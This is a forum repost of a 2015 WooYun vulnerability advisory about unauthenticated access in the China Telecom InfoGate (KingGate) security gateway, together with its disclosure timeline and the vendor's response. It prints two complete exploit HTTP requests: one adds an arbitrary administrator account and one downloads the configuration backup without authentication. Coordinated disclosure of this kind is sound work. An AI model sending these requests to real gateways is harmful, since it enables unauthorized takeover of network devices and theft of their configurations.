中神通公司技术论坛 - Powered by Discuz! Board

标题: 中国电信卓尔 InfoGate（现金山KingGate）安全网关存在通用型设计缺陷 [打印本页]

作者: linda 时间: 2016-1-8 15:41 标题: 中国电信卓尔 InfoGate（现金山KingGate）安全网关存在通用型设计缺陷

漏洞概要
缺陷编号：       WooYun-2015-133471
漏洞标题：       中国电信某安全网关存在通用型设计缺陷(可直接添加任意管理员等等)
相关厂商：       中国电信
漏洞作者：       YY-2012
提交时间：       2015-08-14 16:52
公开时间：       2015-11-12 10:58
漏洞类型：       设计缺陷/逻辑错误
危害等级：       高
自评Rank：       10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源：       http://www.wooyun.org
Tags标签：设计缺陷/边界绕过逻辑错误

漏洞详情披露状态：
2015-08-14：       细节已通知厂商并且等待厂商处理中
2015-08-14：       厂商已经确认，细节仅向厂商公开
2015-08-17：       细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-10-08：       细节向核心白帽子及相关领域专家公开
2015-10-18：       细节向普通白帽子公开
2015-10-28：       细节向实习白帽子公开
2015-11-12：       细节向公众公开

简要描述：rt
详细说明：“InfoGate安全网关”存在逻辑性设计缺陷发现全功能可未授权访问，惊呆了。。

任意添加管理员（以下提交会添加一个名为test124密码为test1245的管理员）：

code 区域POST /src/system/addmanageuser.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://地址/src/system/addmanageuser.php?&IG_current_menu_name=系统配置&IG_current_submenu_name=管理设置
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 地址
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=
Content-Length: 235

IG_current_menu_name=%CF%B5%CD%B3%C5%E4%D6%C3&IG_current_submenu_name=%B9%DC%C0%ED%C9%E8%D6%C3&IG_user=test124&IG_password=test1245&IG_password1=test1245&IG_permission1=1&IG_permission2=1&IG_permission3=1&IG_submit=+++%C8%B7++%B6%A8+++

未授权下载配置文件：

code 区域POST /src/system/default.php HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://地址/src/system/default.php?IG_current_menu_name=系统配置&IG_current_submenu_name=配置管理
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7df16713100de
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 地址
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: PHPSESSID=
Content-Length: 306

-----------------------------7df16713100de
Content-Disposition: form-data; name="IG_type"

IG_backup
-----------------------------7df16713100de
Content-Disposition: form-data; name="IG_uploadfile"; filename=""
Content-Type: application/octet-stream

-----------------------------7df16713100de--

其他功能不一一举例了。。

漏洞证明：

案例：

code 区域**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**:8443/
https://**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/
**.**.**.**/

修复方案：添加各种验证权限。。

版权声明：转载请注明来源 YY-2012@乌云

漏洞回应
厂商回应：
危害等级：中
漏洞Rank：9
确认时间：2015-08-14 10:56
厂商回复：CNVD确认所述情况，已经转由CNCERT向中国电信集团公司通报，由其后续协调网站管理部门处置。
最新状态：暂无
原文：http://www.wooyun.org/bugs/wooyun-2015-0133471

欢迎光临中神通公司技术论坛 (http://trustcomputing.com.cn/bbs/)